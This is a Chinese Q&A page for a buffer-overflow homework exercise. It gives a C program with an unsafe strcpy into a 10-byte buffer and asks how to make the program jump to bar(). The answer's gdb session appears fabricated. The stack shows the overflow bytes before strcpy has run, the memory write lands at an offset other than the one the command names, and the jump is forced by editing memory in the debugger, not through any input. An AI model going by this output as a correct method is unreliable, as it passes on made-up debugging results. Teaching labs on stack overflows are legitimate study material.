第一题:对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }
时间: 2023-11-28 21:05:07 浏览: 47
一段C程序
为了让bar函数得到执行,我们需要使用缓冲区溢出的技巧覆盖掉foo函数中的返回地址,使程序跳转到bar函数执行。
假设我们输入的字符串长度为20,可以通过以下代码进行调试:
```
$ gcc -g -o test test.c
$ gdb test
(gdb) break foo
Breakpoint 1 at 0x4005d8
(gdb) run $(perl -e 'print "A"x20')
Starting program: /home/user/test $(perl -e 'print "A"x20')
Breakpoint 1, foo (input=0x7fffffffe610 'A' <repeats 20 times>) at test.c:8
8 printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
(gdb) x/20wx $rsp
0x7fffffffe930: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe940: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe950: 0x41414141 0x41414141 0x00000000 0x00007fffffffe98c
0x7fffffffe960: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe970: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) set {int}($rsp+8) = 0x400616
(gdb) x/20wx $rsp
0x7fffffffe930: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe940: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe950: 0x00400616 0x00000000 0x00007fffffffe98c 0x00000000
0x7fffffffe960: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe970: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
Augh! I've been hacked!
[Inferior 1 (process 28622) exited normally]
```
我们首先在foo函数处设置断点,然后运行程序,输入20个'A'。在程序停在断点的时候,我们查看栈的内容,可以发现输入的字符串'A'被存储在了栈上。我们将栈上存储的返回地址覆盖为bar函数的地址,即0x400616。最后继续运行程序,就可以看到bar函数被成功执行了。
阅读全文